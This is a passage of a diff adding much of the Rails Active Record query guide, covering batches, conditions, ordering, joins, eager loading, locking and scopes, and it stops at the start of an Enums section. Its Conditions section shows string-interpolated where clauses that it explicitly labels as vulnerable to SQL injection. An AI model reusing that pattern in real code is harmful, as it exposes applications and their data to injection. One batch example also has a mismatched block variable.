+But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
+
+Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
+
+TIP: The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
+
+#### `find_each`
+
+The `find_each` method retrieves records in batches and then yields _each_ one to the block. In the following example, `find_each` retrieves users in batches of 1000 and yields them to the block one by one:
+
+```ruby
+User.find_each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+```
+
+This process is repeated, fetching more batches as needed, until all of the records have been processed.
+
+`find_each` works on model classes, as seen above, and also on relations:
+
+```ruby
+User.where(weekly_subscriber: true).find_each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+```
+
+as long as they have no ordering, since the method needs to force an order
+internally to iterate.
+
+If an order is present in the receiver the behaviour depends on the flag
+`config.active_record.error_on_ignored_order`. If true, `ArgumentError` is
+raised, otherwise the order is ignored and a warning issued, which is the
+default. This can be overridden with the option `:error_on_ignore`, explained
+below.
+
+##### Options for `find_each`
+
+**`:batch_size`**
+
+The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
+
+```ruby
+User.find_each(batch_size: 5000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+```
+
+**`:start`**
+
+By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
+
+For example, to send newsletters only to users with the primary key starting from 2000:
+
+```ruby
+User.find_each(start: 2000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+```
+
+**`:finish`**
+
+Similar to the `:start` option, `:finish` allows you to configure the last ID of the sequence whenever the highest ID is not the one you need.
+This would be useful, for example, if you wanted to run a batch process using a subset of records based on `:start` and `:finish`.
+
+For example, to send newsletters only to users with the primary key starting from 2000 up to 10000:
+
+```ruby
+User.find_each(start: 2000, finish: 10000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+```
+
+Another example would be if you wanted multiple workers handling the same
+processing queue. You could have each worker handle 10000 records by setting the
+appropriate `:start` and `:finish` options on each worker.
+
+**`:error_on_ignore`**
+
+Overrides the application config to specify if an error should be raised when an
+order is present in the relation.
+
+#### `find_in_batches`
+
+The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
+
+```ruby
+# Give add_invoices an array of 1000 invoices at a time.
+Invoice.find_in_batches do |invoices|
+  export.add_invoices(invoices)
+end
+```
+
+`find_in_batches` works on model classes, as seen above, and also on relations:
+
+```ruby
+Invoice.pending.find_in_batches do |invoice|
+  pending_invoices_export.add_invoices(invoices)
+end
+```
+
+as long as they have no ordering, since the method needs to force an order
+internally to iterate.
+
+##### Options for `find_in_batches`
+
+The `find_in_batches` method accepts the same options as `find_each`.
+
+Conditions
+----------
+
+The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+
+### Pure String Conditions
+
+If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array.
+
+### Array Conditions
+
+Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
+
+```ruby
+Client.where("orders_count = ?", params[:orders])
+```
+
+Active Record will take the first argument as the conditions string and any additional arguments will replace the question marks `(?)` in it.
+
+If you want to specify multiple conditions:
+
+```ruby
+Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+```
+
+In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter.
+
+This code is highly preferable:
+
+```ruby
+Client.where("orders_count = ?", params[:orders])
+```
+
+to this code:
+
+```ruby
+Client.where("orders_count = #{params[:orders]}")
+```
+
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
+
+#### Placeholder Conditions
+
+Similar to the `(?)` replacement style of params, you can also specify keys in your conditions string along with a corresponding keys/values hash:
+
+```ruby
+Client.where("created_at >= :start_date AND created_at <= :end_date",
+  {start_date: params[:start_date], end_date: params[:end_date]})
+```
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+### Hash Conditions
+
+Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them:
+
+NOTE: Only equality, range and subset checking are possible with Hash conditions.
+
+#### Equality Conditions
+
+```ruby
+Client.where(locked: true)
+```
+
+This will generate SQL like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.locked = 1)
+```
+
+The field name can also be a string:
+
+```ruby
+Client.where('locked' => true)
+```
+
+In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.
+
+```ruby
+Article.where(author: author)
+Author.joins(:articles).where(articles: { author: author })
+```
+
+#### Range Conditions
+
+```ruby
+Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+```
+
+This will find all clients created yesterday by using a `BETWEEN` SQL statement:
+
+```sql
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+```
+
+This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions)
+
+#### Subset Conditions
+
+If you want to find records using the `IN` expression you can pass an array to the conditions hash:
+
+```ruby
+Client.where(orders_count: [1,3,5])
+```
+
+This code will generate SQL like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+```
+
+### NOT Conditions
+
+`NOT` SQL queries can be built by `where.not`:
+
+```ruby
+Client.where.not(locked: true)
+```
+
+In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions.  This will generate SQL like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.locked != 1)
+```
+
+### OR Conditions
+
+`OR` conditions between two relations can be built by calling `or` on the first
+relation, and passing the second one as an argument.
+
+```ruby
+Client.where(locked: true).or(Client.where(orders_count: [1,3,5]))
+```
+
+```sql
+SELECT * FROM clients WHERE (clients.locked = 1 OR clients.orders_count IN (1,3,5))
+```
+
+Ordering
+--------
+
+To retrieve records from the database in a specific order, you can use the `order` method.
+
+For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:
+
+```ruby
+Client.order(:created_at)
+# OR
+Client.order("created_at")
+```
+
+You could specify `ASC` or `DESC` as well:
+
+```ruby
+Client.order(created_at: :desc)
+# OR
+Client.order(created_at: :asc)
+# OR
+Client.order("created_at DESC")
+# OR
+Client.order("created_at ASC")
+```
+
+Or ordering by multiple fields:
+
+```ruby
+Client.order(orders_count: :asc, created_at: :desc)
+# OR
+Client.order(:orders_count, created_at: :desc)
+# OR
+Client.order("orders_count ASC, created_at DESC")
+# OR
+Client.order("orders_count ASC", "created_at DESC")
+```
+
+If you want to call `order` multiple times, subsequent orders will be appended to the first:
+
+```ruby
+Client.order("orders_count ASC").order("created_at DESC")
+# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC
+```
+WARNING: If you are using **MySQL 5.7.5** and above, then on selecting fields from a result set using methods like `select`, `pluck` and `ids`; the `order` method will raise an `ActiveRecord::StatementInvalid` exception unless the field(s) used in `order` clause are included in the select list. See the next section for selecting fields from the result set.
+
+Selecting Specific Fields
+-------------------------
+
+By default, `Model.find` selects all the fields from the result set using `select *`.
+
+To select only a subset of fields from the result set, you can specify the subset via the `select` method.
+
+For example, to select only `viewable_by` and `locked` columns:
+
+```ruby
+Client.select("viewable_by, locked")
+```
+
+The SQL query used by this find call will be somewhat like:
+
+```sql
+SELECT viewable_by, locked FROM clients
+```
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+```bash
+ActiveModel::MissingAttributeError: missing attribute: <attribute>
+```
+
+Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
+
+If you would like to only grab a single record per unique value in a certain field, you can use `distinct`:
+
+```ruby
+Client.select(:name).distinct
+```
+
+This would generate SQL like:
+
+```sql
+SELECT DISTINCT name FROM clients
+```
+
+You can also remove the uniqueness constraint:
+
+```ruby
+query = Client.select(:name).distinct
+# => Returns unique names
+
+query.distinct(false)
+# => Returns all names, even if there are duplicates
+```
+
+Limit and Offset
+----------------
+
+To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation.
+
+You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example
+
+```ruby
+Client.limit(5)
+```
+
+will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
+
+```sql
+SELECT * FROM clients LIMIT 5
+```
+
+Adding `offset` to that
+
+```ruby
+Client.limit(5).offset(30)
+```
+
+will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
+
+```sql
+SELECT * FROM clients LIMIT 5 OFFSET 30
+```
+
+Group
+-----
+
+To apply a `GROUP BY` clause to the SQL fired by the finder, you can use the `group` method.
+
+For example, if you want to find a collection of the dates on which orders were created:
+
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+```
+
+And this will give you a single `Order` object for each date where there are orders in the database.
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+```
+
+### Total of grouped items
+
+To get the total of grouped items on a single query, call `count` after the `group`.
+
+```ruby
+Order.group(:status).count
+# => { 'awaiting_approval' => 7, 'paid' => 12 }
+```
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT COUNT (*) AS count_all, status AS status
+FROM "orders"
+GROUP BY status
+```
+
+Having
+------
+
+SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `having` method to the find.
+
+For example:
+
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").
+  group("date(created_at)").having("sum(price) > ?", 100)
+```
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+HAVING sum(price) > 100
+```
+
+This returns the date and total price for each order object, grouped by the day they were ordered and where the price is more than $100.
+
+Overriding Conditions
+---------------------
+
+### `unscope`
+
+You can specify certain conditions to be removed using the `unscope` method. For example:
+
+```ruby
+Article.where('id > 10').limit(20).order('id asc').unscope(:order)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM articles WHERE id > 10 LIMIT 20
+
+# Original query without `unscope`
+SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20
+
+```
+
+You can also unscope specific `where` clauses. For example:
+
+```ruby
+Article.where(id: 10, trashed: false).unscope(where: :id)
+# SELECT "articles".* FROM "articles" WHERE trashed = 0
+```
+
+A relation which has used `unscope` will affect any relation into which it is merged:
+
+```ruby
+Article.order('id asc').merge(Article.unscope(:order))
+# SELECT "articles".* FROM "articles"
+```
+
+### `only`
+
+You can also override conditions using the `only` method. For example:
+
+```ruby
+Article.where('id > 10').limit(20).order('id desc').only(:order, :where)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM articles WHERE id > 10 ORDER BY id DESC
+
+# Original query without `only`
+SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20
+
+```
+
+### `reorder`
+
+The `reorder` method overrides the default scope order. For example:
+
+```ruby
+class Article < ApplicationRecord
+  has_many :comments, -> { order('posted_at DESC') }
+end
+
+Article.find(10).comments.reorder('name')
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY name
+```
+
+In the case where the `reorder` clause is not used, the SQL executed would be:
+
+```sql
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC
+```
+
+### `reverse_order`
+
+The `reverse_order` method reverses the ordering clause if specified.
+
+```ruby
+Client.where("orders_count > 10").order(:name).reverse_order
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+```
+
+If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order.
+
+```ruby
+Client.where("orders_count > 10").reverse_order
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+```
+
+This method accepts **no** arguments.
+
+### `rewhere`
+
+The `rewhere` method overrides an existing, named where condition. For example:
+
+```ruby
+Article.where(trashed: true).rewhere(trashed: false)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM articles WHERE `trashed` = 0
+```
+
+In case the `rewhere` clause is not used,
+
+```ruby
+Article.where(trashed: true).where(trashed: false)
+```
+
+the SQL executed would be:
+
+```sql
+SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0
+```
+
+Null Relation
+-------------
+
+The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
+
+```ruby
+Article.none # returns an empty Relation and fires no queries.
+```
+
+```ruby
+# The visible_articles method below is expected to return a Relation.
+@articles = current_user.visible_articles.where(name: params[:name])
+
+def visible_articles
+  case role
+  when 'Country Manager'
+    Article.where(country: country)
+  when 'Reviewer'
+    Article.published
+  when 'Bad User'
+    Article.none # => returning [] or nil breaks the caller code in this case
+  end
+end
+```
+
+Readonly Objects
+----------------
+
+Active Record provides the `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.
+
+```ruby
+client = Client.readonly.first
+client.visits += 1
+client.save
+```
+
+As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_.
+
+Locking Records for Update
+--------------------------
+
+Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
+
+Active Record provides two locking mechanisms:
+
+* Optimistic Locking
+* Pessimistic Locking
+
+### Optimistic Locking
+
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored.
+
+**Optimistic locking column**
+
+In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example:
+
+```ruby
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises an ActiveRecord::StaleObjectError
+```
+
+You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
+
+This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`.
+
+To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`:
+
+```ruby
+class Client < ApplicationRecord
+  self.locking_column = :lock_client_column
+end
+```
+
+### Pessimistic Locking
+
+Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.
+
+For example:
+
+```ruby
+Item.transaction do
+  i = Item.lock.first
+  i.name = 'Jones'
+  i.save!
+end
+```
+
+The above session produces the following SQL for a MySQL backend:
+
+```sql
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+```
+
+You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+```ruby
+Item.transaction do
+  i = Item.lock("LOCK IN SHARE MODE").find(1)
+  i.increment!(:views)
+end
+```
+
+If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:
+
+```ruby
+item = Item.first
+item.with_lock do
+  # This block is called within a transaction,
+  # item is already locked.
+  item.increment!(:views)
+end
+```
+
+Joining Tables
+--------------
+
+Active Record provides two finder methods for specifying `JOIN` clauses on the
+resulting SQL: `joins` and `left_outer_joins`.
+While `joins` should be used for `INNER JOIN` or custom queries,
+`left_outer_joins` is used for queries using `LEFT OUTER JOIN`.
+
+### `joins`
+
+There are multiple ways to use the `joins` method.
+
+#### Using a String SQL Fragment
+
+You can just supply the raw SQL specifying the `JOIN` clause to `joins`:
+
+```ruby
+Author.joins("INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'")
+```
+
+This will result in the following SQL:
+
+```sql
+SELECT authors.* FROM authors INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'
+```
+
+#### Using Array/Hash of Named Associations
+
+Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method.
+
+For example, consider the following `Category`, `Article`, `Comment`, `Guest` and `Tag` models:
+
+```ruby
+class Category < ApplicationRecord
+  has_many :articles
+end
+
+class Article < ApplicationRecord
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comment < ApplicationRecord
+  belongs_to :article
+  has_one :guest
+end
+
+class Guest < ApplicationRecord
+  belongs_to :comment
+end
+
+class Tag < ApplicationRecord
+  belongs_to :article
+end
+```
+
+Now all of the following will produce the expected join queries using `INNER JOIN`:
+
+##### Joining a Single Association
+
+```ruby
+Category.joins(:articles)
+```
+
+This produces:
+
+```sql
+SELECT categories.* FROM categories
+  INNER JOIN articles ON articles.category_id = categories.id
+```
+
+Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).distinct`.
+
+#### Joining Multiple Associations
+
+```ruby
+Article.joins(:category, :comments)
+```
+
+This produces:
+
+```sql
+SELECT articles.* FROM articles
+  INNER JOIN categories ON articles.category_id = categories.id
+  INNER JOIN comments ON comments.article_id = articles.id
+```
+
+Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times.
+
+##### Joining Nested Associations (Single Level)
+
+```ruby
+Article.joins(comments: :guest)
+```
+
+This produces:
+
+```sql
+SELECT articles.* FROM articles
+  INNER JOIN comments ON comments.article_id = articles.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+```
+
+Or, in English: "return all articles that have a comment made by a guest."
+
+##### Joining Nested Associations (Multiple Level)
+
+```ruby
+Category.joins(articles: [{ comments: :guest }, :tags])
+```
+
+This produces:
+
+```sql
+SELECT categories.* FROM categories
+  INNER JOIN articles ON articles.category_id = categories.id
+  INNER JOIN comments ON comments.article_id = articles.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+  INNER JOIN tags ON tags.article_id = articles.id
+```
+
+Or, in English: "return all categories that have articles, where those articles have a comment made by a guest, and where those articles also have a tag."
+
+#### Specifying Conditions on the Joined Tables
+
+You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provide a special syntax for specifying conditions for the joined tables:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' => time_range)
+```
+
+An alternative and cleaner syntax is to nest the hash conditions:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(orders: { created_at: time_range })
+```
+
+This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
+
+### `left_outer_joins`
+
+If you want to select a set of records whether or not they have associated
+records you can use the `left_outer_joins` method.
+
+```ruby
+Author.left_outer_joins(:posts).distinct.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id')
+```
+
+Which produces:
+
+```sql
+SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors"
+LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id
+```
+
+Which means: "return all authors with their count of posts, whether or not they
+have any posts at all"
+
+
+Eager Loading Associations
+--------------------------
+
+Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible.
+
+**N + 1 queries problem**
+
+Consider the following code, which finds 10 clients and prints their postcodes:
+
+```ruby
+clients = Client.limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+```
+
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total.
+
+**Solution to N + 1 queries problem**
+
+Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
+
+Revisiting the above case, we could rewrite `Client.limit(10)` to eager load addresses:
+
+```ruby
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+```
+
+The above code will execute just **2** queries, as opposed to **11** queries in the previous case:
+
+```sql
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+```
+
+### Eager Loading Multiple Associations
+
+Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method.
+
+#### Array of Multiple Associations
+
+```ruby
+Article.includes(:category, :comments)
+```
+
+This loads all the articles and the associated category and comments for each article.
+
+#### Nested Associations Hash
+
+```ruby
+Category.includes(articles: [{ comments: :guest }, :tags]).find(1)
+```
+
+This will find the category with id 1 and eager load all of the associated articles, the associated articles' tags and comments, and every comment's guest association.
+
+### Specifying Conditions on Eager Loaded Associations
+
+Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead.
+
+However if you must do this, you may use `where` as you would normally.
+
+```ruby
+Article.includes(:comments).where(comments: { visible: true })
+```
+
+This would generate a query which contains a `LEFT OUTER JOIN` whereas the
+`joins` method would generate one using the `INNER JOIN` function instead.
+
+```ruby
+  SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1)
+```
+
+If there was no `where` condition, this would generate the normal set of two queries.
+
+NOTE: Using `where` like this will only work when you pass it a Hash. For
+SQL-fragments you need to use `references` to force joined tables:
+
+```ruby
+Article.includes(:comments).where("comments.visible = true").references(:comments)
+```
+
+If, in the case of this `includes` query, there were no comments for any
+articles, all the articles would still be loaded. By using `joins` (an INNER
+JOIN), the join conditions **must** match, otherwise no records will be
+returned.
+
+NOTE: If an association is eager loaded as part of a join, any fields from a custom select clause will not present be on the loaded models.
+This is because it is ambiguous whether they should appear on the parent record, or the child.
+
+Scopes
+------
+
+Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it.
+
+To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called:
+
+```ruby
+class Article < ApplicationRecord
+  scope :published, -> { where(published: true) }
+end
+```
+
+This is exactly the same as defining a class method, and which you use is a matter of personal preference:
+
+```ruby
+class Article < ApplicationRecord
+  def self.published
+    where(published: true)
+  end
+end
+```
+
+Scopes are also chainable within scopes:
+
+```ruby
+class Article < ApplicationRecord
+  scope :published,               -> { where(published: true) }
+  scope :published_and_commented, -> { published.where("comments_count > 0") }
+end
+```
+
+To call this `published` scope we can call it on either the class:
+
+```ruby
+Article.published # => [published articles]
+```
+
+Or on an association consisting of `Article` objects:
+
+```ruby
+category = Category.first
+category.articles.published # => [published articles belonging to this category]
+```
+
+### Passing in arguments
+
+Your scope can take arguments:
+
+```ruby
+class Article < ApplicationRecord
+  scope :created_before, ->(time) { where("created_at < ?", time) }
+end
+```
+
+Call the scope as if it were a class method:
+
+```ruby
+Article.created_before(Time.zone.now)
+```
+
+However, this is just duplicating the functionality that would be provided to you by a class method.
+
+```ruby
+class Article < ApplicationRecord
+  def self.created_before(time)
+    where("created_at < ?", time)
+  end
+end
+```
+
+Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
+
+```ruby
+category.articles.created_before(time)
+```
+
+### Using conditionals
+
+Your scope can utilize conditionals:
+
+```ruby
+class Article < ApplicationRecord
+  scope :created_before, ->(time) { where("created_at < ?", time) if time.present? }
+end
+```
+
+Like the other examples, this will behave similarly to a class method.
+
+```ruby
+class Article < ApplicationRecord
+  def self.created_before(time)
+    where("created_at < ?", time) if time.present?
+  end
+end
+```
+
+However, there is one important caveat: A scope will always return an `ActiveRecord::Relation` object, even if the conditional evaluates to `false`, whereas a class method, will return `nil`. This can cause `NoMethodError` when chaining class methods with conditionals, if any of the conditionals return `false`.
+
+### Applying a default scope
+
+If we wish for a scope to be applied across all queries to the model we can use the
+`default_scope` method within the model itself.
+
+```ruby
+class Client < ApplicationRecord
+  default_scope { where("removed_at IS NULL") }
+end
+```
+
+When queries are executed on this model, the SQL query will now look something like
+this:
+
+```sql
+SELECT * FROM clients WHERE removed_at IS NULL
+```
+
+If you need to do more complex things with a default scope, you can alternatively
+define it as a class method:
+
+```ruby
+class Client < ApplicationRecord
+  def self.default_scope
+    # Should return an ActiveRecord::Relation.
+  end
+end
+```
+
+NOTE: The `default_scope` is also applied while creating/building a record
+when the scope arguments are given as a `Hash`. It is not applied while 
+updating a record. E.g.:
+
+```ruby
+class Client < ApplicationRecord
+  default_scope { where(active: true) }
+end
+
+Client.new          # => #<Client id: nil, active: true>
+Client.unscoped.new # => #<Client id: nil, active: nil>
+```
+
+Be aware that, when given in the `Array` format, `default_scope` query arguments
+cannot be converted to a `Hash` for default attribute assignment. E.g.:
+
+```ruby
+class Client < ApplicationRecord
+  default_scope { where("active = ?", true) }
+end
+
+Client.new # => #<Client id: nil, active: nil>
+```
+
+### Merging of scopes
+
+Just like `where` clauses scopes are merged using `AND` conditions.
+
+```ruby
+class User < ApplicationRecord
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.active.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+```
+
+We can mix and match `scope` and `where` conditions and the final sql
+will have all conditions joined with `AND`.
+
+```ruby
+User.active.where(state: 'finished')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+```
+
+If we do want the last `where` clause to win then `Relation#merge` can
+be used.
+
+```ruby
+User.active.merge(User.inactive)
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+One important caveat is that `default_scope` will be prepended in
+`scope` and `where` conditions.
+
+```ruby
+class User < ApplicationRecord
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+```
+
+As you can see above the `default_scope` is being merged in both
+`scope` and `where` conditions.
+
+### Removing All Scoping
+
+If we wish to remove scoping for any reason we can use the `unscoped` method. This is
+especially useful if a `default_scope` is specified in the model and should not be
+applied for this particular query.
+
+```ruby
+Client.unscoped.load
+```
+
+This method removes all scoping and will do a normal query on the table.
+
+```ruby
+Client.unscoped.all
+# SELECT "clients".* FROM "clients"
+
+Client.where(published: false).unscoped.all
+# SELECT "clients".* FROM "clients"
+```
+
+`unscoped` can also accept a block.
+
+```ruby
+Client.unscoped {
+  Client.created_before(Time.zone.now)
+}
+```
+
+Dynamic Finders
+---------------
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` method.
+
+You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
+
+If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`.
+
+Enums
+-----
+
+The `enum` macro maps an integer column to a set of possible values.
+
+```ruby
